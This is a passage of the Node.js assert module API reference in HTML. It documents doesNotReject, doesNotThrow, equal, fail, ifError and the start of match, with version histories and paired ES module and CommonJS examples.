instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown instead of the
<a href="#class-assertassertionerror"><code>AssertionError</code></a>.</p>
</section><section><h3><code>assert.doesNotReject(asyncFn[, error][, message])</code><span><a class="mark" href="#assertdoesnotrejectasyncfn-error-message" id="assertdoesnotrejectasyncfn-error-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_doesnotreject_asyncfn_error_message"></a></h3>
<div class="api_metadata">
<span>Added in: v10.0.0</span>
</div>
<ul>
<li><code>asyncFn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a></li>
<li><code>error</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" class="type">&#x3C;Promise></a></li>
</ul>
<p>Awaits the <code>asyncFn</code> promise or, if <code>asyncFn</code> is a function, immediately
calls the function and awaits the returned promise to complete. It will then
check that the promise is not rejected.</p>
<p>If <code>asyncFn</code> is a function and it throws an error synchronously,
<code>assert.doesNotReject()</code> will return a rejected <code>Promise</code> with that error. If
the function does not return a promise, <code>assert.doesNotReject()</code> will return a
rejected <code>Promise</code> with an <a href="errors.html#err_invalid_return_value"><code>ERR_INVALID_RETURN_VALUE</code></a> error. In both cases
the error handler is skipped.</p>
<p>Using <code>assert.doesNotReject()</code> is actually not useful because there is little
benefit in catching a rejection and then rejecting it again. Instead, consider
adding a comment next to the specific code path that should not reject and keep
error messages as expressive as possible.</p>
<p>If specified, <code>error</code> can be a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes"><code>Class</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> or a validation
function. See <a href="#assertthrowsfn-error-message"><code>assert.throws()</code></a> for more details.</p>
<p>Besides the async nature to await the completion behaves identically to
<a href="#assertdoesnotthrowfn-error-message"><code>assert.doesNotThrow()</code></a>.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-keyword">await</span> assert.<span class="hljs-title function_">doesNotReject</span>(
  <span class="hljs-title function_">async</span> () => {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-title class_">SyntaxError</span>,
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

(<span class="hljs-title function_">async</span> () => {
  <span class="hljs-keyword">await</span> assert.<span class="hljs-title function_">doesNotReject</span>(
    <span class="hljs-title function_">async</span> () => {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
    },
    <span class="hljs-title class_">SyntaxError</span>,
  );
})();</code><button class="copy-button">copy</button></pre>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">doesNotReject</span>(<span class="hljs-title class_">Promise</span>.<span class="hljs-title function_">reject</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>)))
  .<span class="hljs-title function_">then</span>(<span class="hljs-function">() =></span> {
    <span class="hljs-comment">// ...</span>
  });</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">doesNotReject</span>(<span class="hljs-title class_">Promise</span>.<span class="hljs-title function_">reject</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>)))
  .<span class="hljs-title function_">then</span>(<span class="hljs-function">() =></span> {
    <span class="hljs-comment">// ...</span>
  });</code><button class="copy-button">copy</button></pre>
</section><section><h3><code>assert.doesNotThrow(fn[, error][, message])</code><span><a class="mark" href="#assertdoesnotthrowfn-error-message" id="assertdoesnotthrowfn-error-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_doesnotthrow_fn_error_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v5.11.0, v4.4.5</td>
<td><p>The <code>message</code> parameter is respected now.</p></td></tr>
<tr><td>v4.2.0</td>
<td><p>The <code>error</code> parameter can now be an arrow function.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>fn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a></li>
<li><code>error</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>Asserts that the function <code>fn</code> does not throw an error.</p>
<p>Using <code>assert.doesNotThrow()</code> is actually not useful because there
is no benefit in catching an error and then rethrowing it. Instead, consider
adding a comment next to the specific code path that should not throw and keep
error messages as expressive as possible.</p>
<p>When <code>assert.doesNotThrow()</code> is called, it will immediately call the <code>fn</code>
function.</p>
<p>If an error is thrown and it is the same type as that specified by the <code>error</code>
parameter, then an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown. If the error is of a
different type, or if the <code>error</code> parameter is undefined, the error is
propagated back to the caller.</p>
<p>If specified, <code>error</code> can be a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes"><code>Class</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp" class="type">&#x3C;RegExp></a>, or a validation
function. See <a href="#assertthrowsfn-error-message"><code>assert.throws()</code></a> for more details.</p>
<p>The following, for instance, will throw the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError" class="type">&#x3C;TypeError></a> because there is no
matching error type in the assertion:</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">doesNotThrow</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-title class_">SyntaxError</span>,
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">doesNotThrow</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-title class_">SyntaxError</span>,
);</code><button class="copy-button">copy</button></pre>
<p>However, the following will result in an <a href="#class-assertassertionerror"><code>AssertionError</code></a> with the message
'Got unwanted exception...':</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">doesNotThrow</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-title class_">TypeError</span>,
);</code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">doesNotThrow</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-title class_">TypeError</span>,
);</code><button class="copy-button">copy</button></pre>
<p>If an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown and a value is provided for the <code>message</code>
parameter, the value of <code>message</code> will be appended to the <a href="#class-assertassertionerror"><code>AssertionError</code></a>
message:</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">doesNotThrow</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-regexp">/Wrong value/</span>,
  <span class="hljs-string">'Whoops'</span>,
);
<span class="hljs-comment">// Throws: AssertionError: Got unwanted exception: Whoops</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">doesNotThrow</span>(
  <span class="hljs-function">() =></span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'Wrong value'</span>);
  },
  <span class="hljs-regexp">/Wrong value/</span>,
  <span class="hljs-string">'Whoops'</span>,
);
<span class="hljs-comment">// Throws: AssertionError: Got unwanted exception: Whoops</span></code><button class="copy-button">copy</button></pre>
</section><section><h3><code>assert.equal(actual, expected[, message])</code><span><a class="mark" href="#assertequalactual-expected-message" id="assertequalactual-expected-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_equal_actual_expected_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v16.0.0, v14.18.0</td>
<td><p>In Legacy assertion mode, changed status from Deprecated to Legacy.</p></td></tr>
<tr><td>v14.0.0</td>
<td><p>NaN is now treated as being identical if both sides are NaN.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
</ul>
<p><strong>Strict assertion mode</strong></p>
<p>An alias of <a href="#assertstrictequalactual-expected-message"><code>assert.strictEqual()</code></a>.</p>
<p><strong>Legacy assertion mode</strong></p>
<p></p><div class="api_stability api_stability_3"><a href="documentation.html#stability-index">Stability: 3</a> - Legacy: Use <a href="#assertstrictequalactual-expected-message"><code>assert.strictEqual()</code></a> instead.</div><p></p>
<p>Tests shallow, coercive equality between the <code>actual</code> and <code>expected</code> parameters
using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality"><code>==</code> operator</a>. <code>NaN</code> is specially handled
and treated as being identical if both sides are <code>NaN</code>.</p>

<pre class="with-38-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert'</span>;

assert.<span class="hljs-title function_">equal</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// OK, 1 == 1</span>
assert.<span class="hljs-title function_">equal</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>);
<span class="hljs-comment">// OK, 1 == '1'</span>
assert.<span class="hljs-title function_">equal</span>(<span class="hljs-title class_">NaN</span>, <span class="hljs-title class_">NaN</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">equal</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// AssertionError: 1 == 2</span>
assert.<span class="hljs-title function_">equal</span>({ <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-number">1</span> } }, { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-number">1</span> } });
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } == { a: { b: 1 } }</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert'</span>);

assert.<span class="hljs-title function_">equal</span>(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>);
<span class="hljs-comment">// OK, 1 == 1</span>
assert.<span class="hljs-title function_">equal</span>(<span class="hljs-number">1</span>, <span class="hljs-string">'1'</span>);
<span class="hljs-comment">// OK, 1 == '1'</span>
assert.<span class="hljs-title function_">equal</span>(<span class="hljs-title class_">NaN</span>, <span class="hljs-title class_">NaN</span>);
<span class="hljs-comment">// OK</span>

assert.<span class="hljs-title function_">equal</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>);
<span class="hljs-comment">// AssertionError: 1 == 2</span>
assert.<span class="hljs-title function_">equal</span>({ <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-number">1</span> } }, { <span class="hljs-attr">a</span>: { <span class="hljs-attr">b</span>: <span class="hljs-number">1</span> } });
<span class="hljs-comment">// AssertionError: { a: { b: 1 } } == { a: { b: 1 } }</span></code><button class="copy-button">copy</button></pre>
<p>If the values are not equal, an <a href="#class-assertassertionerror"><code>AssertionError</code></a> is thrown with a <code>message</code>
property set equal to the value of the <code>message</code> parameter. If the <code>message</code>
parameter is undefined, a default error message is assigned. If the <code>message</code>
parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then it will be thrown instead of the
<code>AssertionError</code>.</p>
</section><section><h3><code>assert.fail([message])</code><span><a class="mark" href="#assertfailmessage" id="assertfailmessage">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_fail_message"></a></h3>
<div class="api_metadata">
<span>Added in: v0.1.21</span>
</div>
<ul>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> <strong>Default:</strong> <code>'Failed'</code></li>
</ul>
<p>Throws an <a href="#class-assertassertionerror"><code>AssertionError</code></a> with the provided error message or a default
error message. If the <code>message</code> parameter is an instance of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a> then
it will be thrown instead of the <a href="#class-assertassertionerror"><code>AssertionError</code></a>.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">fail</span>();
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Failed</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-string">'boom'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: boom</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'need array'</span>));
<span class="hljs-comment">// TypeError: need array</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">fail</span>();
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: Failed</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-string">'boom'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: boom</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'need array'</span>));
<span class="hljs-comment">// TypeError: need array</span></code><button class="copy-button">copy</button></pre>
<p>Using <code>assert.fail()</code> with more than two arguments is possible but deprecated.
See below for further details.</p>
</section><section><h3><code>assert.fail(actual, expected[, message[, operator[, stackStartFn]]])</code><span><a class="mark" href="#assertfailactual-expected-message-operator-stackstartfn" id="assertfailactual-expected-message-operator-stackstartfn">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_fail_actual_expected_message_operator_stackstartfn"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v10.0.0</td>
<td><p>Calling <code>assert.fail()</code> with more than one argument is deprecated and emits a warning.</p></td></tr>
<tr><td>v0.1.21</td>
<td><p><span>Added in: v0.1.21</span></p></td></tr>
</tbody></table>
</details>
</div>
<p></p><div class="api_stability api_stability_0"><a href="documentation.html#stability-index">Stability: 0</a> - Deprecated: Use <code>assert.fail([message])</code> or other assert
functions instead.</div><p></p>
<ul>
<li><code>actual</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>expected</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
<li><code>message</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> | <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error" class="type">&#x3C;Error></a></li>
<li><code>operator</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> <strong>Default:</strong> <code>'!='</code></li>
<li><code>stackStartFn</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function" class="type">&#x3C;Function></a> <strong>Default:</strong> <code>assert.fail</code></li>
</ul>
<p>If <code>message</code> is falsy, the error message is set as the values of <code>actual</code> and
<code>expected</code> separated by the provided <code>operator</code>. If just the two <code>actual</code> and
<code>expected</code> arguments are provided, <code>operator</code> will default to <code>'!='</code>. If
<code>message</code> is provided as third argument it will be used as the error message and
the other arguments will be stored as properties on the thrown object. If
<code>stackStartFn</code> is provided, all stack frames above that function will be
removed from stacktrace (see <a href="errors.html#errorcapturestacktracetargetobject-constructoropt"><code>Error.captureStackTrace</code></a>). If no arguments are
given, the default message <code>Failed</code> will be used.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: 'a' != 'b'</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-literal">undefined</span>, <span class="hljs-string">'>'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: 1 > 2</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-string">'fail'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: fail</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-string">'whoops'</span>, <span class="hljs-string">'>'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: whoops</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'need array'</span>));
<span class="hljs-comment">// TypeError: need array</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: 'a' != 'b'</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-literal">undefined</span>, <span class="hljs-string">'>'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: 1 > 2</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-string">'fail'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: fail</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-string">'whoops'</span>, <span class="hljs-string">'>'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: whoops</span>

assert.<span class="hljs-title function_">fail</span>(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">TypeError</span>(<span class="hljs-string">'need array'</span>));
<span class="hljs-comment">// TypeError: need array</span></code><button class="copy-button">copy</button></pre>
<p>In the last three cases <code>actual</code>, <code>expected</code>, and <code>operator</code> have no
influence on the error message.</p>
<p>Example use of <code>stackStartFn</code> for truncating the exception's stacktrace:</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

<span class="hljs-keyword">function</span> <span class="hljs-title function_">suppressFrame</span>(<span class="hljs-params"></span>) {
  assert.<span class="hljs-title function_">fail</span>(<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-literal">undefined</span>, <span class="hljs-string">'!=='</span>, suppressFrame);
}
<span class="hljs-title function_">suppressFrame</span>();
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: 'a' !== 'b'</span>
<span class="hljs-comment">//     at repl:1:1</span>
<span class="hljs-comment">//     at ContextifyScript.Script.runInThisContext (vm.js:44:33)</span>
<span class="hljs-comment">//     ...</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

<span class="hljs-keyword">function</span> <span class="hljs-title function_">suppressFrame</span>(<span class="hljs-params"></span>) {
  assert.<span class="hljs-title function_">fail</span>(<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-literal">undefined</span>, <span class="hljs-string">'!=='</span>, suppressFrame);
}
<span class="hljs-title function_">suppressFrame</span>();
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: 'a' !== 'b'</span>
<span class="hljs-comment">//     at repl:1:1</span>
<span class="hljs-comment">//     at ContextifyScript.Script.runInThisContext (vm.js:44:33)</span>
<span class="hljs-comment">//     ...</span></code><button class="copy-button">copy</button></pre>
</section><section><h3><code>assert.ifError(value)</code><span><a class="mark" href="#assertiferrorvalue" id="assertiferrorvalue">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_iferror_value"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v10.0.0</td>
<td><p>Instead of throwing the original error it is now wrapped into an [<code>AssertionError</code>][] that contains the full stack trace.</p></td></tr>
<tr><td>v10.0.0</td>
<td><p>Value may now only be <code>undefined</code> or <code>null</code>. Before all falsy values were handled the same as <code>null</code> and did not throw.</p></td></tr>
<tr><td>v0.1.97</td>
<td><p><span>Added in: v0.1.97</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>value</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types" class="type">&#x3C;any></a></li>
</ul>
<p>Throws <code>value</code> if <code>value</code> is not <code>undefined</code> or <code>null</code>. This is useful when
testing the <code>error</code> argument in callbacks. The stack trace contains all frames
from the error passed to <code>ifError()</code> including the potential new frames for
<code>ifError()</code> itself.</p>

<pre class="with-45-chars"><input class="js-flavor-toggle" type="checkbox" checked aria-label="Show modern ES modules syntax"><code class="language-js mjs"><span class="hljs-keyword">import</span> assert <span class="hljs-keyword">from</span> <span class="hljs-string">'node:assert/strict'</span>;

assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-literal">null</span>);
<span class="hljs-comment">// OK</span>
assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: 0</span>
assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-string">'error'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: 'error'</span>
assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>());
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: Error</span>

<span class="hljs-comment">// Create some random error frames.</span>
<span class="hljs-keyword">let</span> err;
(<span class="hljs-keyword">function</span> <span class="hljs-title function_">errorFrame</span>(<span class="hljs-params"></span>) {
  err = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'test error'</span>);
})();

(<span class="hljs-keyword">function</span> <span class="hljs-title function_">ifErrorFrame</span>(<span class="hljs-params"></span>) {
  assert.<span class="hljs-title function_">ifError</span>(err);
})();
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: test error</span>
<span class="hljs-comment">//     at ifErrorFrame</span>
<span class="hljs-comment">//     at errorFrame</span></code><code class="language-js cjs"><span class="hljs-keyword">const</span> assert = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:assert/strict'</span>);

assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-literal">null</span>);
<span class="hljs-comment">// OK</span>
assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-number">0</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: 0</span>
assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-string">'error'</span>);
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: 'error'</span>
assert.<span class="hljs-title function_">ifError</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>());
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: Error</span>

<span class="hljs-comment">// Create some random error frames.</span>
<span class="hljs-keyword">let</span> err;
(<span class="hljs-keyword">function</span> <span class="hljs-title function_">errorFrame</span>(<span class="hljs-params"></span>) {
  err = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Error</span>(<span class="hljs-string">'test error'</span>);
})();

(<span class="hljs-keyword">function</span> <span class="hljs-title function_">ifErrorFrame</span>(<span class="hljs-params"></span>) {
  assert.<span class="hljs-title function_">ifError</span>(err);
})();
<span class="hljs-comment">// AssertionError [ERR_ASSERTION]: ifError got unwanted exception: test error</span>
<span class="hljs-comment">//     at ifErrorFrame</span>
<span class="hljs-comment">//     at errorFrame</span></code><button class="copy-button">copy</button></pre>
</section><section><h3><code>assert.match(string, regexp[, message])</code><span><a class="mark" href="#assertmatchstring-regexp-message" id="assertmatchstring-regexp-message">#</a></span><a aria-hidden="true" class="legacy" id="assert_assert_match_string_regexp_message"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v16.0.0</td>
<td><p>This API is no longer experimental.</p></td></tr>
<tr><td>v13.6.0, v12.16.0</td>
<td><p><span>Added in: v13.6.0, v12.16.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>string</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
